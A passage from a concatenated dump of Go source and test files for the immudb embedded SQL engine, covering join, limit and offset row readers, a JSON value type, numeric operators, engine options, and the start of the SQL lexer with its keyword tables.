SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "errors" "testing" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func TestJointRowReader(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, err = newJointRowReader(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx, "CREATE TABLE table1(id INTEGER, number INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) tx, err = engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) defer tx.Cancel() table := tx.catalog.tables[0] r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) _, err = newJointRowReader(r, []*JoinSpec{{joinType: RightJoin}}) require.ErrorIs(t, err, ErrUnsupportedJoinType) _, err = newJointRowReader(r, []*JoinSpec{{joinType: LeftJoin}}) require.NoError(t, err) _, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &SelectStmt{}}}) require.NoError(t, err) jr, err := newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &tableRef{table: "table1", as: "table2"}}}) require.NoError(t, err) orderBy := jr.OrderBy() require.NotNil(t, orderBy) require.Len(t, orderBy, 1) require.Equal(t, "id", orderBy[0].Column) require.Equal(t, "table1", orderBy[0].Table) cols, err := jr.Columns(context.Background()) require.NoError(t, err) require.Len(t, cols, 4) require.Equal(t, cols[0].Table, "table1") require.Equal(t, cols[1].Table, "table1") require.Equal(t, cols[2].Table, "table2") require.Equal(t, cols[3].Table, "table2") require.Equal(t, cols[0].Column, "id") require.Equal(t, cols[1].Column, "number") require.Equal(t, cols[2].Column, "id") require.Equal(t, cols[3].Column, "number") scanSpecs := jr.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) require.True(t, scanSpecs.Index.IsPrimary()) t.Run("corner cases", func(t *testing.T) { t.Run("detect ambiguous selectors", func(t *testing.T) { jr, err = newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &tableRef{table: "table1"}}}) require.NoError(t, err) _, err = jr.colsBySelector(context.Background()) require.ErrorIs(t, err, ErrAmbiguousSelector) }) t.Run("must propagate error from rowReader on colsBySelector", func(t *testing.T) { jr := jointRowReader{ rowReader: &dummyRowReader{}, } cols, err := jr.colsBySelector(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, cols) }) t.Run("must propagate error from rowReader on InferParameters", func(t *testing.T) { jr := jointRowReader{ rowReader: &dummyRowReader{ failInferringParams: true, }, } err := jr.InferParameters(context.Background(), make(map[string]SQLValueType)) require.ErrorIs(t, err, errDummy) jr.rowReader.(*dummyRowReader).failInferringParams = false err = jr.InferParameters(context.Background(), make(map[string]SQLValueType)) require.ErrorIs(t, err, errDummy) }) t.Run("must propagate error from rowReader on Columns", func(t *testing.T) { jr := jointRowReader{ rowReader: &dummyRowReader{ failReturningColumns: true, }, } cols, err := jr.Columns(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, cols) }) t.Run("must propagate error from joined reader on colsBySelector", func(t *testing.T) { injectedErr := errors.New("err") jr, err := newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return nil, injectedErr }, }}}) require.NoError(t, err) cols, err := jr.colsBySelector(context.Background()) require.ErrorIs(t, err, injectedErr) require.Nil(t, cols) }) t.Run("must propagate error from joined reader on colsBySelector from Resolve", func(t *testing.T) { jr, err := newJointRowReader(r, []*JoinSpec{{joinType: InnerJoin, ds: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return &dummyRowReader{}, nil }, }}}) require.NoError(t, err) cols, err := jr.colsBySelector(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, cols) }) }) } ================================================ FILE: embedded/sql/json_type.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "encoding/json" "fmt" "strconv" "strings" ) const ( JSONTypeNumber = "NUMBER" JSONTypeBool = "BOOL" JSONTypeString = "STRING" JSONTypeArray = "ARRAY" JSONTypeObject = "OBJECT" JSONTypeNull = "NULL" ) type JSON struct { val interface{} } func NewJsonFromString(s string) (*JSON, error) { var val interface{} if err := json.Unmarshal([]byte(s), &val); err != nil { return nil, err } return &JSON{val: val}, nil } func NewJson(val interface{}) *JSON { return &JSON{val: val} } func (v *JSON) Type() SQLValueType { return JSONType } func (v *JSON) IsNull() bool { return false } func (v *JSON) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return JSONType, nil } func (v *JSON) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { ok := t == JSONType switch t { case IntegerType, Float64Type: _, isInt := v.val.(int64) _, isFloat := v.val.(float64) ok = isInt || (isFloat && t == Float64Type) case VarcharType: _, ok = v.val.(string) case BooleanType: _, ok = v.val.(bool) case AnyType: ok = v.val == nil } if !ok { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, JSONType, t) } return nil } func (v *JSON) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil } func (v *JSON) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return v, nil } func (sel *JSON) selectors() []Selector { return nil } func (v *JSON) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *JSON) isConstant() bool { return true } func (v *JSON) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } func (v *JSON) RawValue() interface{} { return v.val } func (v *JSON) Compare(val TypedValue) (int, error) { if val.IsNull() { return val.Compare(v) } tv, ok := v.castToTypedValue() if !ok { return -1, fmt.Errorf("%w: comparison not defined for JSON %s", ErrNotComparableValues, v.primitiveType()) } if val.Type() != JSONType { return tv.Compare(val) } res, err := val.Compare(tv) return -res, err } func (v *JSON) primitiveType() string { switch v.val.(type) { case int64, float64: return JSONTypeNumber case string: return JSONTypeString case bool: return JSONTypeBool case nil: return JSONTypeNull case []interface{}: return JSONTypeArray } return JSONTypeObject } func (v *JSON) castToTypedValue() (TypedValue, bool) { var tv TypedValue switch val := v.val.(type) { case int64: tv = NewInteger(val) case string: tv = NewVarchar(val) case float64: tv = NewFloat64(val) case bool: tv = NewBool(val) case nil: tv = NewNull(JSONType) default: return nil, false } return tv, true } func (v *JSON) String() string { data, _ := json.Marshal(v.val) return string(data) } func (v *JSON) lookup(fields []string) TypedValue { currVal := v.val for i, field := range fields { switch cv := currVal.(type) { case map[string]interface{}: v, hasField := cv[field] if !hasField || (v == nil && i < len(field)-1) { return NewNull(AnyType) } currVal = v if currVal == nil { break } case []interface{}: idx, err := strconv.ParseInt(field, 10, 64) if err != nil || idx < 0 || idx >= int64(len(cv)) { return NewNull(AnyType) } currVal = cv[idx] default: return NewNull(AnyType) } } return NewJson(currVal) } type JSONSelector struct { *ColSelector fields []string } func (sel *JSONSelector) substitute(params map[string]interface{}) (ValueExp, error) { return sel, nil } func (v *JSONSelector) resolve(implicitTable string) (string, string, string) { aggFn, table, _ := v.ColSelector.resolve(implicitTable) return aggFn, table, v.String() } func (v *JSONSelector) String() string { return fmt.Sprintf("%s->'%s'", v.ColSelector.col, strings.Join(v.fields, "->")) } func (sel *JSONSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { val, err := sel.ColSelector.reduce(tx, row, implicitTable) if err != nil { return nil, err } jsonVal, ok := val.(*JSON) if !ok { return val, fmt.Errorf("-> operator cannot be applied on column of type %s", val.Type()) } return jsonVal.lookup(sel.fields), nil } func (sel *JSONSelector) selectors() []Selector { return []Selector{sel} } func (sel *JSONSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { val := sel.ColSelector.reduceSelectors(row, implicitTable) jsonVal, ok := val.(*JSON) if !ok { return sel } return jsonVal.lookup(sel.fields) } ================================================ FILE: embedded/sql/limit_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import "context" type limitRowReader struct { rowReader RowReader limit int read int } func newLimitRowReader(rowReader RowReader, limit int) *limitRowReader { return &limitRowReader{ rowReader: rowReader, limit: limit, } } func (lr *limitRowReader) onClose(callback func()) { lr.rowReader.onClose(callback) } func (lr *limitRowReader) Tx() *SQLTx { return lr.rowReader.Tx() } func (lr *limitRowReader) TableAlias() string { return lr.rowReader.TableAlias() } func (lr *limitRowReader) Parameters() map[string]interface{} { return lr.rowReader.Parameters() } func (lr *limitRowReader) OrderBy() []ColDescriptor { return lr.rowReader.OrderBy() } func (lr *limitRowReader) ScanSpecs() *ScanSpecs { return lr.rowReader.ScanSpecs() } func (lr *limitRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return lr.rowReader.Columns(ctx) } func (lr *limitRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return lr.rowReader.colsBySelector(ctx) } func (lr *limitRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { return lr.rowReader.InferParameters(ctx, params) } func (lr *limitRowReader) Read(ctx context.Context) (*Row, error) { if lr.read >= lr.limit { return nil, ErrNoMoreRows } row, err := lr.rowReader.Read(ctx) if err != nil { return nil, err } lr.read++ return row, nil } func (lr *limitRowReader) Close() error { return lr.rowReader.Close() } ================================================ FILE: embedded/sql/limit_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestLimitRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: false} rowReader := newLimitRowReader(dummyr, 1) require.Equal(t, dummyr.TableAlias(), rowReader.TableAlias()) require.Equal(t, dummyr.OrderBy(), rowReader.OrderBy()) require.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs()) require.Nil(t, rowReader.Tx()) _, err := rowReader.Read(context.Background()) require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = true _, err = rowReader.Columns(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, rowReader.Parameters()) err = rowReader.InferParameters(context.Background(), nil) require.NoError(t, err) dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) require.ErrorIs(t, err, errDummy) } ================================================ FILE: embedded/sql/num_operator.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "math" ) func applyNumOperator(op NumOperator, vl, vr TypedValue) (TypedValue, error) { if vl.Type() == Float64Type || vr.Type() == Float64Type { return applyNumOperatorFloat64(op, vl, vr) } return applyNumOperatorInteger(op, vl, vr) } func applyNumOperatorInteger(op NumOperator, vl, vr TypedValue) (TypedValue, error) { convl, err := mayApplyImplicitConversion(vl.RawValue(), IntegerType) if err != nil { return nil, fmt.Errorf("%w (expecting numeric value)", err) } nl, isNumber := convl.(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } convr, err := mayApplyImplicitConversion(vr.RawValue(), IntegerType) if err != nil { return nil, fmt.Errorf("%w (expecting numeric value)", err) } nr, isNumber := convr.(int64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } switch op { case ADDOP: { return &Integer{val: nl + nr}, nil } case SUBSOP: { return &Integer{val: nl - nr}, nil } case DIVOP: { if nr == 0 { return nil, ErrDivisionByZero } return &Integer{val: nl / nr}, nil } case MODOP: { if nr == 0 { return nil, ErrDivisionByZero } return &Integer{val: nl % nr}, nil } case MULTOP: { return &Integer{val: nl * nr}, nil } } return nil, ErrUnexpected } func applyNumOperatorFloat64(op NumOperator, vl, vr TypedValue) (TypedValue, error) { convl, err := mayApplyImplicitConversion(vl.RawValue(), Float64Type) if err != nil { return nil, fmt.Errorf("%w (expecting numeric value)", err) } nl, isNumber := convl.(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } convr, err := mayApplyImplicitConversion(vr.RawValue(), Float64Type) if err != nil { return nil, fmt.Errorf("%w (expecting numeric value)", err) } nr, isNumber := convr.(float64) if !isNumber { return nil, fmt.Errorf("%w (expecting numeric value)", ErrInvalidValue) } switch op { case ADDOP: { return &Float64{val: nl + nr}, nil } case SUBSOP: { return &Float64{val: nl - nr}, nil } case DIVOP: { if nr == 0 { return nil, ErrDivisionByZero } return &Float64{val: nl / nr}, nil } case MODOP: { if nr == 0 { return nil, ErrDivisionByZero } return &Float64{val: math.Mod(nl, nr)}, nil } case MULTOP: { return &Float64{val: nl * nr}, nil } } return nil, ErrUnexpected } ================================================ FILE: embedded/sql/num_operator_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "math" "testing" "github.com/stretchr/testify/require" ) func TestNumOperator(t *testing.T) { t.Run("Successful operator", func(t *testing.T) { for _, d := range []struct { op NumOperator lv TypedValue rv TypedValue ev interface{} }{ {ADDOP, &Integer{val: 1}, &Integer{val: 2}, int64(3)}, {ADDOP, &Integer{val: 1}, &Float64{val: 2}, float64(3)}, {ADDOP, &Float64{val: 1}, &Integer{val: 2}, float64(3)}, {ADDOP, &Float64{val: 1}, &Float64{val: 2}, float64(3)}, {SUBSOP, &Integer{val: 1}, &Integer{val: 2}, int64(-1)}, {SUBSOP, &Integer{val: 1}, &Float64{val: 2}, float64(-1)}, {SUBSOP, &Float64{val: 1}, &Integer{val: 2}, float64(-1)}, {SUBSOP, &Float64{val: 1}, &Float64{val: 2}, float64(-1)}, {DIVOP, &Integer{val: 10}, &Integer{val: 3}, int64(3)}, {DIVOP, &Integer{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)}, {DIVOP, &Float64{val: 10}, &Integer{val: 3}, float64(10.0 / 3.0)}, {DIVOP, &Float64{val: 10}, &Float64{val: 3}, float64(10.0 / 3.0)}, {MODOP, &Integer{val: 10}, &Integer{val: 3}, int64(1)}, {MODOP, &Integer{val: 10}, &Float64{val: 3}, float64(1)}, {MODOP, &Float64{val: 10}, &Integer{val: 3}, float64(1)}, {MODOP, &Float64{val: 10.5}, &Float64{val: 3.2}, math.Mod(10.5, 3.2)}, {MULTOP, &Integer{val: 10}, &Integer{val: 3}, int64(30)}, {MULTOP, &Float64{val: 10}, &Integer{val: 3}, float64(30)}, {MULTOP, &Integer{val: 10}, &Float64{val: 3}, float64(30)}, {MULTOP, &Float64{val: 10}, &Float64{val: 3}, float64(30)}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { result, err := applyNumOperator(d.op, d.lv, d.rv) require.NoError(t, err) require.Equal(t, d.ev, result.RawValue()) }) } }) t.Run("Division by 0", func(t *testing.T) { for _, d := range []struct { lv TypedValue rv TypedValue }{ {&Integer{val: 100}, &Integer{val: 0}}, {&Float64{val: 100}, &Integer{val: 0}}, {&Integer{val: 100}, &Float64{val: 0}}, {&Float64{val: 100}, &Float64{val: 0}}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { result, err := applyNumOperator(DIVOP, d.lv, d.rv) require.ErrorIs(t, err, ErrDivisionByZero) require.Nil(t, result) }) } }) t.Run("Incompatible types", func(t *testing.T) { for _, d := range []struct { lv TypedValue rv TypedValue }{ {&Integer{val: 100}, &Bool{}}, {&Float64{val: 100}, &Bool{}}, {&Bool{}, &Integer{val: 100}}, {&Bool{}, &Float64{val: 100}}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { result, err := applyNumOperator(ADDOP, d.lv, d.rv) require.ErrorIs(t, err, ErrInvalidValue) require.Nil(t, result) }) } }) t.Run("Invalid operation", func(t *testing.T) { for _, d := range []struct { lv TypedValue rv TypedValue }{ {&Integer{val: 100}, &Integer{val: 1}}, {&Float64{val: 100}, &Float64{val: 1}}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { result, err := applyNumOperator(NumOperator(-1), d.lv, d.rv) require.ErrorIs(t, err, ErrUnexpected) require.Nil(t, result) }) } }) } ================================================ FILE: embedded/sql/offset_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import "context" type offsetRowReader struct { rowReader RowReader offset int skipped int } func newOffsetRowReader(rowReader RowReader, offset int) *offsetRowReader { return &offsetRowReader{ rowReader: rowReader, offset: offset, } } func (r *offsetRowReader) onClose(callback func()) { r.rowReader.onClose(callback) } func (r *offsetRowReader) Tx() *SQLTx { return r.rowReader.Tx() } func (r *offsetRowReader) TableAlias() string { return r.rowReader.TableAlias() } func (r *offsetRowReader) Parameters() map[string]interface{} { return r.rowReader.Parameters() } func (r *offsetRowReader) OrderBy() []ColDescriptor { return r.rowReader.OrderBy() } func (r *offsetRowReader) ScanSpecs() *ScanSpecs { return r.rowReader.ScanSpecs() } func (r *offsetRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return r.rowReader.Columns(ctx) } func (r *offsetRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return r.rowReader.colsBySelector(ctx) } func (r *offsetRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { return r.rowReader.InferParameters(ctx, params) } func (r *offsetRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := r.rowReader.Read(ctx) if err != nil { return nil, err } if r.skipped < r.offset { r.skipped++ continue } return row, nil } } func (r *offsetRowReader) Close() error { return r.rowReader.Close() } ================================================ FILE: embedded/sql/offset_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestOffsetRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: false} rowReader := newOffsetRowReader(dummyr, 1) require.Equal(t, dummyr.TableAlias(), rowReader.TableAlias()) require.Equal(t, dummyr.OrderBy(), rowReader.OrderBy()) require.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs()) require.Nil(t, rowReader.Tx()) _, err := rowReader.Read(context.Background()) require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = true _, err = rowReader.Columns(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, rowReader.Parameters()) err = rowReader.InferParameters(context.Background(), nil) require.NoError(t, err) dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) require.ErrorIs(t, err, errDummy) } ================================================ FILE: embedded/sql/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "github.com/codenotary/immudb/embedded/store" ) const ( defaultDistinctLimit = 1 << 20 // ~ 1mi rows defaultSortBufferSize = 1024 ) type Options struct { prefix []byte sortBufferSize int distinctLimit int autocommit bool lazyIndexConstraintValidation bool parseTxMetadata func([]byte) (map[string]interface{}, error) multidbHandler MultiDBHandler tableResolvers []TableResolver } func DefaultOptions() *Options { return &Options{ sortBufferSize: defaultSortBufferSize, distinctLimit: defaultDistinctLimit, } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) } if opts.distinctLimit <= 0 { return fmt.Errorf("%w: invalid DistinctLimit value", store.ErrInvalidOptions) } if opts.sortBufferSize <= 0 { return fmt.Errorf("%w: invalid SortBufferSize value", store.ErrInvalidOptions) } return nil } func (opts *Options) WithPrefix(prefix []byte) *Options { opts.prefix = prefix return opts } func (opts *Options) WithDistinctLimit(distinctLimit int) *Options { opts.distinctLimit = distinctLimit return opts } func (opts *Options) WithAutocommit(autocommit bool) *Options { opts.autocommit = autocommit return opts } func (opts *Options) WithLazyIndexConstraintValidation(lazyIndexConstraintValidation bool) *Options { opts.lazyIndexConstraintValidation = lazyIndexConstraintValidation return opts } func (opts *Options) WithMultiDBHandler(multidbHandler MultiDBHandler) *Options { opts.multidbHandler = multidbHandler return opts } // WithSortBufferSize specifies the size of the buffer used to sort rows in-memory // when executing queries containing an ORDER BY clause. The default value is 1024. // Increasing this value improves sorting speed at the expense of higher memory usage. func (opts *Options) WithSortBufferSize(size int) *Options { opts.sortBufferSize = size return opts } func (opts *Options) WithParseTxMetadataFunc(parseFunc func([]byte) (map[string]interface{}, error)) *Options { opts.parseTxMetadata = parseFunc return opts } func (opts *Options) WithTableResolvers(resolvers ...TableResolver) *Options { opts.tableResolvers = append(opts.tableResolvers, resolvers...) return opts } ================================================ FILE: embedded/sql/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "testing" "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { var opts *Options require.Error(t, opts.Validate()) opts = &Options{} require.Error(t, opts.Validate()) opts.WithDistinctLimit(0) require.Error(t, opts.Validate()) opts.WithDistinctLimit(defaultDistinctLimit) require.Equal(t, defaultDistinctLimit, opts.distinctLimit) opts.WithPrefix([]byte("sqlPrefix")) require.Equal(t, []byte("sqlPrefix"), opts.prefix) opts.WithAutocommit(true) require.True(t, opts.autocommit) opts.WithSortBufferSize(0) require.Error(t, opts.Validate()) opts.WithSortBufferSize(defaultSortBufferSize) require.Equal(t, opts.sortBufferSize, defaultSortBufferSize) require.NoError(t, opts.Validate()) } ================================================ FILE: embedded/sql/parser.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "bytes" "encoding/hex" "errors" "fmt" "io" "strconv" "strings" ) //go:generate go run golang.org/x/tools/cmd/goyacc -l -o sql_parser.go sql_grammar.y var keywords = map[string]int{ "CREATE": CREATE, "DROP": DROP, "USE": USE, "DATABASE": DATABASE, "SNAPSHOT": SNAPSHOT, "HISTORY": HISTORY, "OF": OF, "SINCE": SINCE, "AFTER": AFTER, "BEFORE": BEFORE, "UNTIL": UNTIL, "TABLE": TABLE, "PRIMARY": PRIMARY, "KEY": KEY, "UNIQUE": UNIQUE, "INDEX": INDEX, "ON": ON, "ALTER": ALTER, "ADD": ADD, "RENAME": RENAME, "TO": TO, "COLUMN": COLUMN, "INSERT": INSERT, "CONFLICT": CONFLICT, "DO": DO, "NOTHING": NOTHING, "RETURNING": RETURNING, "UPSERT": UPSERT, "INTO": INTO, "VALUES": VALUES, "UPDATE": UPDATE, "SET": SET, "DELETE": DELETE, "BEGIN": BEGIN, "TRANSACTION": TRANSACTION, "COMMIT": COMMIT, "ROLLBACK": ROLLBACK, "SELECT": SELECT, "DISTINCT": DISTINCT, "FROM": FROM, "UNION": UNION, "ALL": ALL, "TX": TX, "JOIN": JOIN, "HAVING": HAVING, "WHERE": WHERE, "GROUP": GROUP, "BY": BY, "LIMIT": LIMIT, "OFFSET": OFFSET, "ORDER": ORDER, "AS": AS, "ASC": ASC, "DESC": DESC, "AND": AND, "OR": OR, "NOT": NOT, "LIKE": LIKE, "EXISTS": EXISTS, "BETWEEN": BETWEEN, "IN": IN, "AUTO_INCREMENT": AUTO_INCREMENT, "NULL": NULL, "IF": IF, "IS": IS, "CAST": CAST, "::": SCAST, "SHOW": SHOW, "DATABASES": DATABASES, "TABLES": TABLES, "USERS": USERS, "USER": USER, "WITH": WITH, "PASSWORD": PASSWORD, "READ": READ, "READWRITE": READWRITE, "ADMIN": ADMIN, "GRANT": GRANT, "REVOKE": REVOKE, "GRANTS": GRANTS, "FOR": FOR, "PRIVILEGES": PRIVILEGES, "CHECK": CHECK, "CONSTRAINT": CONSTRAINT, "CASE": CASE, "WHEN": WHEN, "THEN": THEN, "ELSE": ELSE, "END": END, "EXTRACT": EXTRACT, "INTEGER": INTEGER_TYPE, "BOOLEAN": BOOLEAN_TYPE, "VARCHAR": VARCHAR_TYPE, "TIMESTAMP": TIMESTAMP_TYPE, "FLOAT": FLOAT_TYPE, "BLOB": BLOB_TYPE, "UUID": UUID_TYPE, "JSON": JSON_TYPE, "YEAR": YEAR, "MONTH": MONTH, "DAY": DAY, "HOUR": HOUR, "MINUTE": MINUTE, "SECOND": SECOND, } var joinTypes = map[string]JoinType{ "INNER": InnerJoin, "LEFT": LeftJoin, "RIGHT": RightJoin, } var aggregateFns = map[string]AggregateFn{ "COUNT": COUNT, "SUM": SUM, "MAX": MAX, "MIN": MIN, "AVG": AVG, } var boolValues = map[string]bool{ "TRUE": true, "FALSE": false, } var cmpOps = map[string]CmpOperator{ "=": EQ, "!=": NE, "<>": NE, "<": LT, "<=": LE, ">": GT, ">=": GE, } var ErrEitherNamedOrUnnamedParams = errors.New("either named or unnamed params") var ErrEitherPosOrNonPosParams = errors.New("either positional or non-positional named params") var ErrInvalidPositionalParameter = errors.New("invalid positional parameter") type positionalParamType int const ( NamedNonPositionalParamType positionalParamType = iota + 1 NamedPositionalParamType UnnamedParamType ) type lexer struct { r *aheadByteReader err error namedParamsType positionalParamType paramsCount int result []SQLStmt } type aheadByteReader struct { nextChar byte nextErr error r io.ByteReader readCount int } func newAheadByteReader(r io.ByteReader) *aheadByteReader { ar := &aheadByteReader{r: r} ar.nextChar, ar.nextErr = r.ReadByte() return ar } func (ar *aheadByteReader) ReadByte() (byte, error) { defer func() { if ar.nextErr == nil { ar.nextChar, ar.nextErr = ar.r.ReadByte() } }() ar.readCount++ return ar.nextChar, ar.nextErr } func (ar *aheadByteReader) ReadCount() int { return ar.readCount } func (ar *aheadByteReader) NextByte() (byte, error) { return ar.nextChar, ar.nextErr } func ParseSQLString(sql string) ([]SQLStmt, error) { return ParseSQL(strings.NewReader(sql)) } func ParseSQL(r io.ByteReader) ([]SQLStmt, error) { lexer := newLexer(r) yyParse(lexer) return lexer.result, lexer.err } func ParseExpFromString(exp string) (ValueExp, error) { stmt := fmt.Sprintf("SELECT * FROM t WHERE %s", exp) res, err := ParseSQLString(stmt) if err != nil { return nil, err } s := res[0].(*SelectStmt) return s.where, nil } func newLexer(r io.ByteReader) *lexer { return &lexer{ r: newAheadByteReader(r), err: nil, } } func (l *lexer) Lex(lval *yySymType) int { var ch byte var err error for { ch, err = l.r.ReadByte() if err == io.EOF { return 0 } if err != nil { lval.err = err return ERROR } if ch == '\t' { continue } if ch == '/' && l.r.nextChar == '*' { l.r.ReadByte() for { ch, err := l.r.ReadByte() if err == io.EOF { break } if 